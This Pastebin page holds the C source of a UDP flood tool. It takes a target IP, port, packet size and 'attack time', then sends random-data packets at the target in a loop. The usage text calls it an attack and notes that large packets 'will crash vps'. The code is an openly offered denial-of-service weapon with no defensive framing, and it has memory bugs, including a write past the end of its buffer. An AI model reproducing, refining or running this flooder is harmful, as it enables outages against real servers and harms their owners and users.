xttpx

gott

Dec 7th, 2022
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.55 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <stdlib.h>
  7. #include <ctype.h>
  8. #include <getopt.h>
  9.  
  10. int mc = 0;
  11.  
  12. char * random_string(int x)
  13. {
  14.         char * p = (char *) malloc(x);
  15.         int y = 0;
  16.  
  17.         memset((char *)p, 0, x);
  18.  
  19.         if(p == NULL)
  20.         {
  21.                 printf("Error allocating memory?\n");
  22.                 exit(0);
  23.         }
  24.         while(y < x)
  25.         {
  26.                 //srand(time(NULL));
  27.                 p[y] = (char) rand() % 255;
  28.                 y++;
  29.         }
  30.         p[x] = '\0';
  31.         return p;
  32. }
  33.  
  34.  
  35. int main(int argc, char *argv[])
  36. {
  37.         int sd; int c; c = 0;
  38.         int port=0, packet_size=0, attack_time=0;
  39.         int ipflag = 0, portflag = 0, sizeflag = 0, timeflag = 0;
  40.         char * send_data; int tport, tsize;
  41.         struct sockaddr_in info;
  42.         int random, res;
  43.         char ip[20];
  44.         time_t cur_time;
  45.  
  46. //      char * send_data;
  47.         //printf("Can we get a response in here?\n");
  48.  
  49.         if(argc == 1)
  50.         {
  51.                 printf("");
  52.                 printf("");
  53.  
  54.  
  55.                 printf("%s: -i 127.0.0.1 -p 80 -s 40000 -t 30\n", argv[0]);
  56.  
  57.                 printf("-i\t= IP (v4) [REQUIRED]\n");
  58.                 printf("-p\t= UDP Port (65535 or less)\n");
  59.                 printf("-s\t= Packet Size (32000 or dos will crash vps)\n");
  60.                 printf("-t\t= Attack time in seconds [Default: 60]\n");
  61.                 exit(0);
  62.         }
  63.  
  64.  
  65.         while((res = getopt(argc, argv, "i:p:s:t:")) != -1)
  66.         { //ip, port, size time
  67.                 switch(res)
  68.                 {
  69.                         case 'i':
  70.                                 strncpy(ip, optarg, sizeof(ip));
  71.                                 ipflag = 1;
  72.                                 break;
  73.                         case 'p':
  74.                                 port = atoi(optarg);
  75.                                 portflag = 1;
  76.                                 break;
  77.                         case 's':
  78.                                 packet_size = atoi(optarg);
  79.                                 sizeflag = 1;
  80.                                 break;
  81.                         case 't':
  82.                                 attack_time = atoi(optarg);
  83.                                 timeflag = 1;
  84.                                 break;
  85.                         default:
  86.                                 exit(0);
  87.                 }
  88.         }
  89.  
  90. //      printf("IP: %s\nPort: %d\nPacket size: %d\nTime: %d\n", ip, port, packet_size, attack_time);
  91.  
  92.         if(ipflag == 0)
  93.         {
  94.                 printf("You need to set an IP address.\n");
  95.                 exit(0);
  96.         }
  97.  
  98.         if(sizeflag == 1)
  99.         {
  100.                 if(packet_size > 65500)
  101.                 {
  102.                         printf("Packet size is over 65500..\n");
  103.                         exit(0);
  104.                 }
  105.         }
  106.  
  107.         sd = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
  108.  
  109.         if(sd == -1)
  110.         {
  111.                 perror("socket");
  112.                 exit(0);
  113.         }
  114.  
  115.         info.sin_family = AF_INET;
  116.         info.sin_addr.s_addr = inet_addr(ip);
  117.         if(portflag == 1)
  118.         {
  119.                 info.sin_port = htons(port);
  120.         }
  121.  
  122.         if(info.sin_addr.s_addr == (in_addr_t) -1)
  123.         {
  124.                 printf("Error: Invalid ip address (Should be X.X.X.X with all numbers 255 or less)\n");
  125.                 exit(0);
  126.         }
  127.  
  128.         if(timeflag == 0)
  129.         {
  130.                 attack_time = 60;
  131.         }
  132.         else
  133.         {
  134. /*                if(attack_time > 999999999)
  135.                 {
  136.                         printf("Error: To long of a attack\n");
  137.                         exit(0);
  138.                 }*/
  139.         }
  140.  
  141.         if(sizeflag == 0)
  142.         {
  143.                 //tsize = 32000;
  144.                 packet_size = 32000;
  145.         }
  146.  
  147.         attack_time += (int) time(NULL);
  148.         cur_time = time(NULL);
  149.  
  150.         while(cur_time <= (time_t) attack_time)
  151.         {
  152.  
  153. //                *send_data = 0x00000000;
  154.  
  155.                 srand(time(NULL));
  156.  
  157.                 if(portflag == 0)
  158.                 {
  159. //                      srand(time(NULL));
  160.                         random = (rand() % 65534) + 1;
  161.                         tport = random;
  162. //                      info.sin_port = htons(random);
  163.                 }
  164.                 else
  165.                 {
  166.                         tport = port;
  167.                 }
  168.  
  169. /*                if(sizeflag == 0)
  170.                 {
  171. //                      srand(time(NULL));
  172.                         random = (rand() % 960 ) + 64;
  173.                         tsize = random;
  174.                         send_data = random_string(random);
  175.                 }*/
  176.                 if(sizeflag == 1)
  177.                 {
  178. //                      srand(time(NULL));
  179.                         send_data = random_string(packet_size);
  180.                         tsize = packet_size;
  181.                 }
  182.  
  183.                 info.sin_port = htons(tport);
  184.  
  185.                 if(sendto(sd, send_data, tsize, 0, (struct sockaddr *) &info, sizeof(info)) < 0)
  186.                 {
  187.                         perror("sendto");
  188.                         exit(0);
  189.                 }
  190.  
  191.                 //printf("%d\n", mc);
  192.  
  193. //              printf("%d|%d|%d\n", (int) (attack_time-cur_time), tport, tsize);
  194.  
  195. //              sleep(1);
  196.  
  197.                 free(send_data);
  198.                 cur_time = time(NULL);
  199.                 mc++;
  200.         }
  201.         close(sd);
  202.  
  203.         printf("Sent %d packets!\n", mc);
  204. }
Add Comment
Please, Sign In to add comment